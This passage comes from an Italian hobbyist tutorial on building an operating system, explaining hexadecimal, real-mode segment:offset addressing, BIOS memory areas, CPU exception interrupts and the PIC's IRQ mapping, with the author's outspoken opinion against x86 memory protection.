| indicare numeri esadecimali, e nella fattispecie si e' inventato il |
| prefisso "0x", cioe' zero-x. Questo perche' probabilmente i compilatori |
| si confonderebbero nel trovare una "h" in fondo a un numero, ma ormai la |
| frittata e' fatta e la stupidaggine e' rimasta. Ma ok, non cominciamo a |
| parlare dei compilatori C/C++ perche' se penso a tutte le loro idiozie |
| mi viene fuori un libro, e poi tutti i fans di questi linguaggi mi |
| mandano un quintale di hate-mail. |
| Comunque, riprendendo il filo del discorso, la "h" e' il modo UFFICIALE |
| per indicare un valore esadecimale, e sul 99% dei documenti che vi |
| potra' capitare di consultare troverete quella notazione. |
| |
| Uhm... che vuol dire 449h? Cioe', che numero e'? |
| E' semplice: se fosse in decimale, sapremmo che 4 sono le centinaia, 4 |
| le decine e 9 le unita'. Quindi avremmo 449 = (4 x 100) + (4 x 10) + 9. |
| Dato che e' in ESAdecimale, usiamo le duecentociquantaseiine e le |
| sedicine, e quindi abbiamo 449h = (4 x 256) + (4 x 16) + 9. Facendo i |
| conti, viene fuori come risultato 1097. Quindi 449 in esadecimale |
| significa 1097 in decimale. Tuttavia, questo ancora non risponde alla |
| domanda "perche' si usa l'esadecimale?"... be', per molti motivi, che |
| derivano tutti da uno solo: |
| sedici e' una comoda potenza di 2. Voi sapete che il PC conta in |
| binario, quindi, come nel nostro sistema decimale sono importanti le |
| potenze del dieci (decine, centinaia, migliaia, decine di migliaia |
| eccetera...), in quello binario sono ugualmente importanti le potenze |
| del due. Guarda caso, 16 e' appunto due alla quarta. In pratica, |
| significa che per scrivere una cifra esadecimale mi servono FINO A |
| QUATTRO cifre binarie; in altre parole, una cifra esadecimale raggruppa |
| 4 cifre binarie. Cosi, invece di doversi confrontare con lunghe sequele |
| di uni e di zeri, con le quali e' facilissimo sbagliarsi, abbiamo |
| sequenze scritte come 1A59FC, B0732A, 3CC87D4... che sono piu' semplici |
| da leggere e da trascrivere, PUR MANTENENDO UNA SEMPLICE corrispondenza |
| col sottostante codice binario. Infatti, osservando questa tabellina, |
| possibilmente da imparare a memoria (magari col tempo): |
| |
| 0000 = 0 |
| 0001 = 1 |
| 0010 = 2 |
| 0011 = 3 |
| 0100 = 4 |
| 0101 = 5 |
| 0110 = 6 |
| 0111 = 7 |
| 1000 = 8 |
| 1001 = 9 |
| 1010 = A |
| 1011 = B |
| 1100 = C |
| 1101 = D |
| 1110 = E |
| 1111 = F |
| |
| si puo capire dove sta la comodita' nell'uso dell'esadecimale. Molte |
| cifre tonde in binario rimangono cifre tonde anche in esadecimale, e |
| possono essere sommate e sottratte in modo abbastanza naturale, una |
| volta che si e' fatta un po' di pratica. Per esempio il numero decimale |
| 1024, che e' una potenza di 2 (infatti e' due alla decima), si scrive |
| come: |
| |
| 1024 = 10000000000 in binario |
| 1024 = 400 in esadecimale |
| |
| e riferendosi alla tabellina sopra esposta, si puo scomporre la versione |
| binaria in sequenze di QUATTRO cifre, ottenendo una facile conversione: |
| |
| 0100 0000 0000 |
| | | | |
| 4 0 0 |
| |
| il numero 1024 e' parte dell'indirizzo a cui mi riferivo prima: 449h. |
| Infatti 449h e' il risultato di 400h + 49h, seguendo le normali regole |
| della numerazione posizionale, proprio come abbiamo sempre fatto nella |
| nostra beneamata base dieci. Non c'e' nessuna difficolta' aggiuntiva. |
| |
| Tornando finalmente al discorso degli indirizzi in modalita' reale, c'e' |
| un motivo anche per il fatto che abbia scelto di dividervi il numero |
| proprio nelle due parti 400h e 49h. Avrei potuto dire 440h + 9h, per |
| esempio, ma ho preferito l'altra suddivisione perche' evidenzia il |
| rapporto che c'e' fra il SEGMENTO e l'OFFSET di un indirizzo in |
| modalita' reale. |
| Ho detto che 449h, in modalita' reale, viene scritto come 40h:49h. |
| No, non mi sono dimenticato uno zero, e' proprio 40h:49h e non 400h:49h. |
| Questo perche' bisogna spiegare che cosa e' un "segmento" di memoria |
| visto dalla modalita' reale. Presto detto: e' un insieme di 16 bytes |
| contigui. In semplice, e' un modo di prendere la memoria a "mazzi" di 16 |
| bytes, piuttosto che byte per byte. Infatti la modalita' reale era stata |
| progettata per la programmazione di processori con registri di 16 bit e |
| BUS di 20 bit. |
| Orbene, 16 bit sono 16 cifre binarie, il che significa 4 cifre |
| esadecimali. Significa anche che in 16 cifre binarie si possono |
| rappresentare valori che vanno da 0000h a FFFFh. Se fate due conti, |
| equivale all'intervallo da zero a 65.535 in decimale, ovvero da zero a |
| (2 alla sedicesima meno uno). |
| Ora, la modalita' reale permette di accedere a un totale di UN MEGABYTE |
| di memoria, e qui sta l'espediente della notazione segmento/offset. |
| Perche' 65.536 celle di memoria (la cella numero zero conta, |
| naturalmente) sono in realta' 64 Kb di memoria, dato che un Kb equivale |
| a 1024 bytes (e forse ora si capisce anche perche' sono 1024 bytes e |
| non, piu' semplicemente, 1000). |
| Ma per arrivare a un megabyte servono 1.048.576 celle di memoria, che |
| sono una quantita' SEDICI volte superiore a 65.536. Ovvero, abbiamo |
| bisogno di cinque cifre esadecimali per scrivere tutti i possibili |
| indirizzi che formano un megabyte, ovvero gli indirizzi di 20 bit. Ma ne |
| abbiamo 16. |
| |
| Per risolvere questo problemino, si "replicano" i nostri 16 bit, |
| inviando al controller della memoria due valori al posto di uno, dato |
| che uno non basta (e non si puo semplicemente inviare una sequenza di |
| soli 4 bits, perche' NON ESISTEVANO E ANCORA NON ESISTONO registri di 4 |
| bits). Il BUS pero, in questo modo, NON diventava a 32 bit. Il bus, |
| quella serie di connessioni che vanno dal processore al controller della |
| memoria, era sempre limitato ai suoi poveri 20 bit. Abbiamo quasi |
| finito, eh? |
| |
| La convenzione adottata, che a prima vista sembra assurda, diventa cosi |
| perfettamente logica: se un segmento raggruppa 16 bytes, possiamo allora |
| indirizzare una quantita' di memoria 16 volte superiore a 65.536 bytes, |
| per l'appunto quel fatidico megabyte. A questo punto, per moltiplicare |
| per sedici in esadecimale dobbiamo solo spostare a sinistra di un posto |
| tutte le cifre che compongono il SEGMENTO, e poi aggiungere l'OFFSET. |
| |
| SEGM. OFFS. <- |
| 0040h:0049h = 0400h + 0049h = 00449h |
| |
| (Vista la freccina che indica lo spostamento?) |
| Dove bisogna notare che ho scritto il risultato con 5 cifre, a |
| significare che si tratta di un indirizzo il cui intervallo si estende |
| su 20 bit, mentre i suoi componenti, il segmento e l'offset, sono |
| scritti su 4 cifre perche' i registri di un processore a 16 bit possano |
| contenerli. Le cose non sono sempre cosi semplici, ma i principi della |
| numerazione posizionale sono sempre validi. Ad esempio, se il segmento |
| fosse stato il 41h, avremmo avuto il seguente risultato: |
| |
| SEGM. OFFS. <- |
| 0041h:0049h = 0410h + 0049h = 00459h |
| |
| e ci saremmo riferiti ad una locazione di memoria che, come si vede dal |
| risultato, si trova una "sedicina" di bytes piu' avanti della |
| precedente, perche' la differenza fra 459h - 449h e' di 16 bytes, e |
| *non* di dieci. |
| E questo include un consiglio: cominciate a "pensare in esadecimale". |
| |
| E un'altra cosa importante da sapere (se si vuol capire) e' questa: dato |
| che l'offset e' comunque un valore di 16 bit, per spostarsi avanti nella |
| memoria, byte per byte, non e' sempre necessario aumentare il valore del |
| segmento. Infatti, una volta "selezionato" un certo segmento, che ci fa |
| da "ancora", possiamo leggere e scrivere locazioni variando soltanto la |
| componente chiamata "offset", finche' non "sfondiamo" il limite dei 16 |
| bit, ovvero non tentiamo di scrivere o leggere qualcosa che si trova |
| piu' in la' |
| di 64 kilobytes dalla prima locazione del segmento selezionato. Infatti, |
| a partire dal solito segmento numero 40h, io posso ad esempio scrivere e |
| leggere memoria anche dalla/sulla sequente locazione (fatevi i conti): |
| |
| SEGM. OFFS. <- |
| 0040h:FFFFh = 0400h + FFFFh = 103FFh |
| |
| Ecco perche' *non e' detto* che un segmento sia sempre considerato lungo |
| 16 bytes. Lo so che inizialmente vi confondera' ancora di piu', ma che |
| ci volete fare? Cosi va la vitaccia zozza... infatti un segmento puo |
| estendersi, a piacimento, fino a 64 Kb, di fatto intersecando i 4096 |
| segmenti successivi. |
| |
| Erano duri i tempi dei 16 bit, eh? Be', probabilmente penseranno lo |
| stesso dei 32 bit i programmatori che in futuro ne useranno abitualmente |
| 64... |
| Tornando all'attuale architettura di PC con vista sul BIOS, alcuni |
| segmenti sono diventati piuttosto famosi, in quanto essi "mirano" ad |
| aree di memoria che risultano molto importanti per il BIOS e, di |
| riflesso, per un qualunque sistema operativo che volessimo scrivere. |
| Questi segmenti particolari sono i seguenti: |
| |
| 0000h - tabella dei vettori di interrupt, di 1024 bytes. |
| 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di |
| significati. |
| A000h - pagina di memoria grafica rimappata in modalita' reale, di |
| 64 Kb. |
| B000h - pagina di memoria testuale per testo in bianco e nero, di 32 Kb. |
| B800h - pagina di memoria testuale per testo a colori, di 32 Kb. |
| F000h - segmento del BIOS (il codice del BIOS ereditato dal layout IBM) |
| il segmento del BIOS e' lungo 65.520 bytes (si, 16 in meno). |
| il segmento del BIOS NON e' memoria RAM: e' uno spazio ROM. |
| FFFFh - segmento del warm boot handler, lunghezza minima: solo 16 bytes. |
| |
| Va be', quella tabella puo essere utile, ma ora ci vuole una descrizione |
| piu' approfondita' di ciascun segmento. E per quanto riguarda le singole |
| locazioni di ogni segmento? A questo posso rispondervi con un'altra |
| domanda: - Ci siete andati a prendervi i Ralf Brown files? |
| |
| Ripeto l'indirizzo: http://www.pobox.com/~ralf/files.html |
| |
| Se l'avete fatto, bene, avete quello che vi serve: una tabella |
| dettagliata della memoria, la stessa dalla quale si evince che la |
| locazione 40h:49h contiene il numero della modalita' video corrente, |
| completa di riferimenti incrociati per trovare le altre modalita'... e |
| di un mondo d'informazioni di vitale importanza per noi novelli system |
| designers. Se non l'avete fatto, vorrei sapere che cacchio state |
| aspettando... La lista della memoria si chiama Memory.LST, ed e' un file |
| di testo anche se non ha estensione TXT. In effetti, e' meglio |
| consultare l'archivio di Ralf tramite l'EDIT del DOS, piu' che pigiando |
| sulle iconcine per ottenere solo finestrelle che rivelano quanto Windoze |
| sia scemo nella sua forzata voglia di automatizzare tutto. |
| |
| Ma vediamo a cosa servono i suddetti segmenti, in soldoni. Questo, Ralf |
| non lo dice perche' lo da' per scontato. E questo e' appunto lo scopo |
| della mia serie di articoli: selezionare e spiegare quello che serve per |
| farsi il proprio S.O. partendo da zero. Riprendo a taglia e incolla i |
| titoli menzionati prima, e aggiungo la descrizione... |
| |
| 0000h - tabella dei vettori di interrupt, di 1024 bytes. |
| |
| Per capire cosa sia un vettore d'interrupt bisogna prima capire cos'e' |
| una interrupt. Su questo non ci piove. E' quello che dice di essere: una |
| breve "interruzione" nel normale flusso di istruzioni che compongono i |
| programmi attualmente in esecuzione. Queste interruzioni servono a |
| concentrare l'attenzione del processore su un compito che deve essere |
| eseguito in quel momento, al di la' di quel che sta facendo il |
| programma. Al termine di tale compito, il controllo torna al programma |
| principale, per il quale e' come se nulla fosse successo (eccetto che |
| sara' passato un po' di tempo). |
| In pratica, un vettore d'interrupt e' qualcosa che "porta" il processore |
| ad eseguire il codice macchina che gestisce una certa interrupt quando |
| questa viene chiamata in causa. Un "vettore" si traduce molto |
| semplicemente in un indirizzo di memoria, nella classica forma |
| segmento:offset, che punta alla locazione che contiene la prima |
| istruzione del gestore. |
| Il gestore di una interrupt, inutile a dirsi, e' semplicemente un |
| programmino, ma e' un po' diverso da una normale SUBROUTINE, da un |
| normale frammento di programma, e le differenze le vedremo dopo... |
| Ci sono 256 interrupt diverse nei PC con chipset Intel. Ogni interrupt |
| ha il suo vettore, ed ogni vettore occupa 4 bytes (32 bit, suddivisi in |
| 16 per il segmento e 16 per l'offset). Quindi, in totale abbiamo bisogno |
| di 256 x 4 = 1024 bytes per conservare tutti i vettori. E questa e' |
| appunto la lunghezza del segmento ad essi riservato. L'organizzazione |
| del segmento e' la piu' semplice possibile: i primi 4 bytes (0000:0000) |
| contengono il vettore dell'interrupt zero, la prima (nella fattispecie, |
| e' quella che interviene quando il processore deve comunicare al S.O. |
| che gli e' stato chiesto di eseguire una divisione per zero); i secondi |
| 4 bytes, ovvero la locazione 0000:0004, contengono il vettore |
| dell'interrupt 1, e cosi via fino alla locazione 0000:03FC che contiene |
| il vettore d'interrupt 255. |
| Cosi come i segmenti, anche molti numeri delle interrupt, col tempo, |
| hanno assunto significati convenzionali. Cosi come esiste un significato |
| preciso per l'interrupt zero (DIVISION BY ZERO), esistono significati |
| ben precisi e addirittura *legati all'hardware* per le interrupt fino |
| alla numero 31. |
| Infatti, le prime 31 interrupt sono usate dal processore per segnalare |
| condizioni d'errore, ma non solo per questo. Tuttavia, volendo |
| descrivere quali condizioni d'errore riguardano il processore, eccovi |
| una tabellina: |
| |
| Interrupt Descrizione |
| ------------------------------------------- |
| 0 DIVISION BY ZERO |
| 1 DEBUG TRAP |
| 2 N.M.I. |
| 3 SOFTWARE BREAKPOINT |
| 4 OVERFLOW |
| 5 BOUNDS CHECK |
| 6 ILLEGAL OPCODE |
| 7 COPROCESSOR NOT AVAILABLE |
| 8 DOUBLE FAULT |
| 9 COPROCESSOR SEGMENT OVERRUN |
| 10 INVALID T.S.S. |
| 11 SEGMENT NOT PRESENT |
| 12 STACK EXCEPTION |
| 13 GENERAL PROTECTION FAULT |
| 14 PAGE FAULT |
| 15 (NON UTILIZZATA) |
| 16 COPROCESSOR ERROR |
| 17...31 (NON UTILIZZATE) |
| |
| Naturalmente cerchero di spiegare cosa significa una chiamata a uno di |
| questi vettori, e cosa puo provocarla. Pero, per semplificare, evitero |
| di entrare nei dettagli del sistema di protezione dei processori Intel. |
| Molti pensano che questo sistema di protezione sia stata una buona idea. |
| Io no, e benche' sappia perfettamente come funziona, non mi piace, non |
| lo uso, e soprattutto non perdero un enormita' di tempo a spiegarvi i |
| suoi meandri. |
| Se siete preoccupati per questo, non c'e' ragione di esserlo: non vi |
| perdete nulla, solo una noia mortale per un qualcosa che alla fine |
| sareste grati di non aver mai conosciuto o dovuto conoscere. I PC |
| funzionano lo stesso, e piu' velocemente, senza questi sistemi di |
| "protezione". Se poi qualcosa va storto e qualche locazione del S.O. |
| viene sovrascritta da un programma che funziona male, la volete sapere |
| la mia opinione? Non e' cosi grave... al limite, si pianta tutto, cosa |
| che succede LO STESSO applicando i sistemi di protezione (vedi i "blue |
| screens"
di Windoze). Tutti quelli che conosco e che conoscono il |
| sistema di protezione di questi processori sono concordi nel ritenerlo |
| di non vitale importanza. Chi la pensa diversamente, col dovuto rispetto |
| per poche eccezioni, IN GENERE non lo conosce bene, ma ne ha sentito |
| parlare come di un qualcosa che protegge il sistema e che quindi e' per |
| definizione "una cosa giusta". Personalmente semplifico il sistema di |
| protezione al massimo, inizializzando una modalita' FLAT a 32 bit che |
| da' accesso a tutta la memoria in modo lineare. Poi vi spiego cosa |
| significa, ma lo dico per l'esperto che non vorrei pensasse che io stia |
| sempre qui a girarmi i pollici nella modalita' reale. |
| |
| Se volete addentrarvi in quel labirinto, potete andarvi a cercare |
| questo: |
| INTEL 80386 PROGRAMMER'S REFERENCE MANUAL 1986 |
| che fra l'altro e' disponibile in internet, anche se non so di preciso |
| dove, e dalle cui prime righe si evince addirittura che Intel ha |
| registrato come trademark la lettera "i" minuscola; cosa questo |
| comporti, non saprei... |
| Ma poi non dite che non vi avevo avvertiti... |
| Uhmm... porca miseria, sto divagando troppo oggi. |
| Tornando al significato delle interrupts... |
| |
| interrupt 0 - DIVISION BY ZERO |
| viene chiamata quandunque al processore venga chiesto di eseguire una |
| divisione per zero che riguardi numeri INTERI (e non in virgola mobile). |
| |
| interrupt 1 - DEBUG TRAP |
| riguarda il sistema di protezione, per intercettare certe eccezioni che |
| si verificano durante il debugging di un programma. Ignoriamola pure. |
| |
| interrupt 2 - N.M.I. |
| e' molto importante, anche se non la vedrete probabilmente mai |
| verificarsi. N.M.I. sta per Non-Maskeable Interrupt. Vedete, |
| "mascherare" una interrupt e' un modo per trattenerla dal verificarsi in |
| punti critici dell'esecuzione. |
| Ad esempio, tutte le interrupt tranne la NMI vengono mascherate da una |
| istruzione "CLI" (ricordate il piccolo bootstrap loader dell'altra |
| volta?). Ma ci sono cose che richiedono SEMPRE l'attenzione della CPU, |
| cose che non riguardano ne' il programma ne' il sistema operativo. Cose |
| piu' legate alla ralta', come un salto di tensione o lo spegnimento del |
| computer tramite il classico interruttore. In tali casi diverse macchine |
| hanno bisogno, per limitare i danni, di eseguire certe operazioni, e per |
| queste ragioni e' stata a suo tempo introdotta la linea NMI. Equivale, |
| se volete, ad una "chiamata d'emergenza", e puo essere innescata solo |
| via hardware. C'e' poco o niente da aggiungere: |
| non vi riguarda, quindi lasciatele fare il suo lavoro e non interferite. |
| Da notare che, a giorno d'oggi, spesso la NMI non fa assolutamente |
| niente, perche' non ci sono grossi rischi legati alle cause di quelle |
| chiamate d'emergenza. Con questo voglio dire: non abbiate troppa paura |
| di commettere errori: molto difficilmente potreste rompere il computer. |
| E a me, personalmente, in 19 anni non e' mai successo di fare un danno |
| all'hardware per via di un pezzo di software malfunzionante. Non e' |
| che non si possa fare del tutto, ma bisogna proprio farlo apposta... |
| |
| interrupt 3 - SOFTWARE BREAKPOINT |
| Ah, questa e' utile. Molto utile. Viene usata dai debuggers per fissare |
| un punto di arresto (breakpoint) del programma, in modo che al momento |
| giusto il debugger (che avra' installato un suo gestore dell'interrupt |
| 3) possa riprendere il controllo e mostrare le varie informazioni di |
| debugging, come il contenuto dei registri, l'immagine dello stack, il |
| dump della memoria... |
| il vantaggio di questa interrupt e' anche che c'e' un codice speciale |
| che la CPU interpreta come una chiamata all'interrupt 3, e che e' lungo |
| soltanto un byte. Il codice e' CCh. Per contro, l'opcode (codice |
| macchina) che presiede a una normale chiamata d'interrupt e' il codice |
| CDh, cosicche' per esempio chiamando l'interrupt 10h con il comando "int |
| 10h"
in assembly, si ottiene un corrispondente codice macchina CDh 10h. |
| Invece, scrivendo un comando "int 3" non si ottiene CDh 03h (che |
| comunque e' equivalente) ma bensi il solo codice CCh. Questo facilita il |
| compito dei debuggers, che in questo modo possono essere certi di |
| ripristinare l'istruzione che segue un dato breakpoint semplicemente |
| ripristinando il contenuto del byte che e' stato rimpiazzato dal codice |
| CCh. All'avviamento, il gestore dell'int 3 in genere e' vuoto, ovvero |
| non fa nulla, ed il suo vettore punta ad una immediata istruzione "iret" |
| (interrupt return). |
| |
| interrupt 4 - OVERFLOW |
| Chiamata quando il risultato di un operazione intera e' andato oltre il |
| numero di bits (campo d'esistenza) permesso dal registro che avrebbe |
| dovuto contenere tale risultato. Un po' come voler fare FFFFh + 1 in |
| esadecimale, usando un registro a 16 bit. Il risultato sarebbe 10000h, |
| che pero non c'entra in 16 bit (4 cifre esadecimali), e che genererebbe |
| un "riporto" (detto per l'appunto CARRY). Oltre al riporto, viene |
| settato il "flag di overflow". |
| Orbene, quando questo flag e' settato *E* il processore incontra una |
| istruzione "into" (che si riferisce ad int 4) viene in effetti chiamata |
| l'interrupt 4 che gestirebbe la condizione di errore. Da notare che se |
| NON c'e' stata una condizione di overflow *E* il processore incontra |
| "into", la chiamata NON avviene. Oggi pero quasi tutti i programmi |
| preferiscono gestire tali errori per conto loro, e omettono le |
| istruzioni "into" dopo un'operazione aritmetica che potrebbe generare un |
| tale problema. In effetti ve lo consiglio: non c'e' bisogno di scomodare |
| la CPU per gestire in modo rapido ed efficiente tali errori, e qui un |
| manualino d'assembly vi viene in aiuto... |
| |
| interrupt 5 - BOUNDS CHECK |
| Relativa all'istruzione BOUND, che praticamente non usa piu' nessuno |
| perche' lenta, non accoppiabile in CPU superscalari, e scarsamente |
| utile. Mah... |
| non curatevi del techno-blablabla di prima, mettete pure un gestore che |
| stampi un errore nel vostro S.O. per questa interrupt, ma piu' di questo |
| non e' necessario... |
| |
| interrupt 6 - ILLEGAL OPCODE |
| Be', la CPU ha appena incontrato un codice operativo (opcode) che non |
| risulta avere un significato. Una sorpresa totale, insomma. Non sa cosa |
| fare, e quindi lo segnala al S.O., il quale a sua volta non avra' molto |
| da fare se non terminare il programma e lavarsene le mani. Ma e' molto |
| raro: succede se un programma malfunzionante a un certo punto salta ad |
| una locazione di memoria che contiene DATI al posto di CODICE |
| ESEGUIBILE. |
| |
| interrupt 7 - COPROCESSOR NOT AVAILABLE |
| Che ci volete fare? Non c'e', e se non c'e', non c'e'... |
| |
| interrupt 8 - DOUBLE FAULT |
| Brutta situazione. Mai capito come si dovrebbe reagire a una cosa del |
| genere: e' un crash del sistema. Praticamente viene chiamata quando uno |
| dei gestori degli altri codici di errore PROVOCA a sua volta un errore. |
| Ma la CPU era ancora in attesa del ritorno dal gestore del primo errore, |
| e quindi ora la situazione e' piuttosto intricata. Piu' di questo non |
| saprei dirvi... io mi limiterei a segnalare con un messaggio, e chiedere |
| di riavviare tutto. Mi sa che c'e' poco da fare... |
| |
| interrupt 9 - COPROCESSOR SEGMENT OVERRUN |
| Ah, be', bisogna sapere che un "segment overrun" avviene quando, ad |
| esempio, tentate di leggere o scrivere una locazione, diciamo, di 16 |
| bits / 2 bytes, ma nel segmento non c'e' piu' spazio per leggere il |
| secondo byte. Ad esempio: |
| |
| MOV SI, 0FFFFh |
| FLD word ptr [SI] ; (una "word" e' un valore di 16 bits) |
| |
| ecco: in quel caso state dicendo al coprocessore di caricare sul suo |
| stack di lavoro il contenuto della locazione all'offset FFFFh del vostro |
| corrente segmento dati. Siccome cercate di caricare due bytes, ma al |
| secondo byte la locazione diventa 10000h, che non c'entra in 16 bit, |
| questo risulta in un "segment overrun", e siccome lo ha provocato |
| un'istruzione eseguita dalla FPU (coprocessore matematico), viene |
| chiamato COPROCESSOR SEGMENT OVERRUN. |
| Facile no? No, eh? Be', studiatevi l'assembly... |
| |
| interrupt 10 - INVALID T.S.S. |
| Bah, Invalid Task State Segment... |
| Ignoratela: riguarda il sistema di protezione. |
| |
| interrupt 11 - SEGMENT NOT PRESENT |
| Scatta quando un segmento di memoria virtuale e' descritto, dal suo |
| "descrittore", come "non presente", ovvero non caricato in memoria RAM. |
| La memoria virtuale, con la quale assolutamente non mi sporchero le |
| mani, e' quella tecnica che consiste nell'allocare un po' di memoria di |
| massa, dalle unita' apposite (in genere dischi rigidi), in modo che essa |
| integri la memoria centrale, ovvero la RAM, quando quest'ultima |
| scarseggia. Cosa poi sia un descrittore, cosa sia un selettore di |
| segmento, cosa siano la GDT (Global Descriptors Table) e la IDT |
| (Interrupt Descriptors Table), sara' meglio che lo spieghi un'altra |
| volta, per quanto sia roba importante. |
| |
| interrupt 12 - STACK EXCEPTION |
| Qualcuno (programma o S.O.) ha "sforato" lo stack da sopra o da sotto. |
| Come saprete dal capitolo procedente, lo stack e' un'area di memoria che |
| i programmi e il sistema usano per conservare valori temporanei. Ma |
| quando quest'area finisce perche' ci sono stati salvati troppi valori, e |
| nel caso in cui il processore sappia di preciso dove finisce l'area di |
| stack, be', viene segnalato questo errore. Che pero succede anche se si |
| tenta di tirare fuori (POP) un valore dallo stack quando non ce ne sono |
| rimasti. In modalita' FLAT a 32 bit, il processore in genere non sapra' |
| dove comincia e finisce lo stack (saranno fatti nostri) e quindi questo |
| errore non avra' piu' molto senso, ne' si verifichera' mai in condizioni |
| normali... |
| |
| interrupt 13 - GENERAL PROTECTION FAULT |
| Hah! Questa e' bella! Se ve la presento sotto un'altro aspetto, molto |
| probabilmente vi risultera' ben piu' familiare e comprensibile... |
| |
| "Il programma ha causato un'eccezione di protezione generale |
| e verra' terminato. Se il problema persiste, provare a |
| riavviare il computer."
|
| |
| E' quello che succede, rare volte a ragione e spesse volte "a vuoto", a |
| chi usa il sistema di protezione: volete ancora essere "protetti" |
| da una macchina senza cervello? D'accordo, sono stato cattivo: mi scuso, |
| ed aggiungo che volevo solo dire che, nella mia MODESTA opinione, la |
| migliore protezione per un sistema operativo e' avere bravi |
| programmatori, i quali non solo progettino il S.O. in modo razionale ed |
| efficiente, ma applichino le stesse cure alle singole applicazioni. |
| Se gli errori ci sono, si faranno vedere, in un modo o nell'altro. |
| Passo subito ad auto-umiliarmi precisando che, in un sistema senza |
| protezione, l'intero S.O. va incontro ad un probabile crash se crasha |
| un'applicazione, perche' niente impedisce all'applicazione di |
| sovrascrivere la memoria del S.O. In un sistema *con* protezione, il |
| S.O. ha molte meno probabilita' di crashare in tali casi. |
| Ma comunque, il programma si pianta, in quel modo tristemente famoso... |
| In breve, quel che sostengo e' "eliminiamo gli errori per quanto |
| possibile, invece di tentare di limitare i danni"
. |
| |
| Bisogna infatti considerare gli svantaggi del sistema di protezione: |
| - i controlli rallentano *enormemente* l'esecuzione delle applicazioni; |
| - come detto, e' spesso "troppo sensibile", e scatta praticamente a |
| vuoto; |
| - rende tutti i programmi ed il S.O. stesso, MOLTO piu' complicati e |
| quindi piu' esposti alla presenza di errori, nonche' piu' lenti, meno |
| performanti. |
| |
| Certo, poi dipende da voi, ma se dovete scegliere qualora il vostro S.O. |
| dovra' o meno applicare tecniche di protezione, sceglietelo dall'inizio, |
| ed eventualmente andate ad istruirvi in proposito. Cambiare idea a meta' |
| del lavoro o in release future e' molto scoveniente: praticamente |
| fareste prima a ricominciare daccapo. Personalmente, qui lo dico e |
| sottolineo, il sistema che andro a illustrare SARA` DEL TIPO NON |
| PROTETTO, in cui cioe' tutte le applicazioni avranno a disposizione gli |
| stessi PRIVILEGI del S.O. stesso. L'aumento dell'efficienza e' |
| valutabile da un MINIMO del 30% in piu' di velocita' rispetto a sistemi |
| protetti, ad un massimo che varia da applicazione ad applicazione ma che |
| puo spesso arrivare al 100%. |
| |
| Con tutto questo non voglio affibbiare colpe: non ce l'ho ne' con |
| Windoze ne' con Intel. E` proprio una questione oggettiva: adottare un |
| sistema di protezione come quello attualmente usato da Intel puo anche |
| essere la cosa giusta da fare, a seconda delle esigenze. E` solo che io |
| preferisco ancora non adottarlo, concentrando l'attenzione sul debugging |
| e sull'eliminazione (possibilmente totale) degli errori in primo luogo. |
| |
| interrupt 14 - PAGE FAULT |
| Di nuovo, relativa al sistema di protezione. |
| |
| interrupt 16 - COPROCESSOR ERROR |
| E` un'errore generico del coprocessore. La FPU puo scegliere, a seconda |
| di un flag depositato nel suo registro di controllo (control word), se |
| far scattare o meno questa interrupt quandunque si presenti un errore di |
| calcolo in virgola mobile (divisioni per zero, radici quadrate di numeri |
| negativi, tangenti di pigreco mezzi, overflow, underflow, eccetera). |
| Lascerei perdere questa interrupt, visto che un S.O. non dovrebbe MAI |
| aver bisogno, almeno per quanto riguarda il suo kernel, di effettuare |
| operazioni in virgola mobile: in genere, la responsabilita' di |
| controllare questo tipo di errori viene lasciata alle singole |
| applicazioni. |
| |
| interrupts rimanenti, la 15, e poi dalla 17 alla 31... |
| Non sono usate nei 386. Siccome vorrei che il nostro S.O. fosse in grado |
| di girare a partire da un processore della serie 386, lasciamole pure |
| perdere. A ogni modo, anche nei processori successivi, quand'anche |
| vengono usate, giocano ruoli molto secondari. Come dispatchers del BIOS, |
| invece, le interrupts da 16 a 31 sono MOLTO IMPORTANTI ma, onde evitare |
| confusione, vedremo piu' sotto cosa sia un dispatcher. |
| |
| Ora, bisogna imparare a distinguere due casi in cui un vettore di |
| interrupt puo essere chiamato: il primo caso e' quello descritto dai |
| paragrafi qui sopra, e si chiama "CPU-triggered interrupt", o |
| "exception"; il secondo caso e' quello in cui l'interrupt e' chiamata da |
| un programma, il che significa sia dal kernel di sistema che da un |
| applicativo. Nell'ambito del primo caso, l'interrupt generata |
| dall'hardware, bisogna ulteriormente distinguere due situazioni: la |
| prima e' quella vista sopra, in cui e' la CPU a generare l'interruzione; |
| la seconda e' quella in cui e' una PERIFERICA a richiedere |
| l'interruzione. Nel primo caso si continua a chiamarla "exception", |
| mentre nel secondo caso si usa la sigla IRQ. |
| IRQ sta per Interrupt ReQuest, "richiesta di interruzione", che avviene |
| attraverso una serie di circuiti chiamati "interrupt request lines". |
| Le periferiche hanno a disposizione 16 linee di IRQ, numerate da zero a |
| quindici, e controllate da una vecchia ma arzilla chip convenzionalmente |
| nota con la sigla "PIC", Programmable Interrupt Controller. |
| Non fatevi prendere dal panico, come diceva il defunto Douglas Adams, ma |
| c'e' ancora una suddivisione che ha luogo tra le IRQ controllate dal |
| PIC: quelle "basse" e quelle "alte". Le "low IRQ" rappresentano le linee |
| da zero a sette, mentre le "high IRQ" rappresentano quelle da otto a |
| quindici. Purtroppo, questi numeri NON SONO equivalenti, nella |
| tradizionale mappatura del PIC, a quelli dei corrispondenti vettori di |
| interrupt: voglio dire, quando una periferica genera la IRQ numero zero, |
| NON viene chiamato il vettore d'interrupt numero zero. Il numero di |
| vettore chiamato dipende, in teoria, dalle "PIC mappings"; il PIC e' |
| diviso in due gemelli, definiti come "PIC master controller" e "PIC |
| slave controller"
. Il master controlla le IRQ basse (0-7), mentre lo |
| slave controlla quelle alte (8-15). In teoria, questi numeri possono |
| corrispondere a diversi "blocchi" fatti di 8 vettori ciascuno, ma in |
| pratica, col tempo, la mappatura del PIC si e', diciamo, standardizzata. |
| Il risultato e' che potete star certi che il BIOS rimappa il PIC in modo |
| da far puntare le IRQ da zero a sette verso i vettori di interrupt |
| numerati da otto a quindici, mentre le IRQ da otto a quindici vengono |
| rimappate sui vettori da 70h a 77h. Siccome a questo punto avrete |
| un'irrimediabile zuppa in testa (e' normale, la prima volta che si |
| studia un casino del genere), passo a chiarire le mappature standard con |
| le due seguenti tabelline su cui potrete fare ragionevole affid

  
amento: |
| |
| Numero di IRQ (dec) Interrupt corrispondente (hex) Periferica |
| ------------------------------------------------------------------------ |
| 0 08h SYSTEM TIMER |
| 1 09h TASTIERA |
| 2 0Ah (vedi nota) |
| 3 0Bh COM2, porta seriale |
| 4 0Ch COM1, porta seriale |
| 5 0Dh VARI UTILIZZI |
| 6 0Eh FLOPPY DISK |
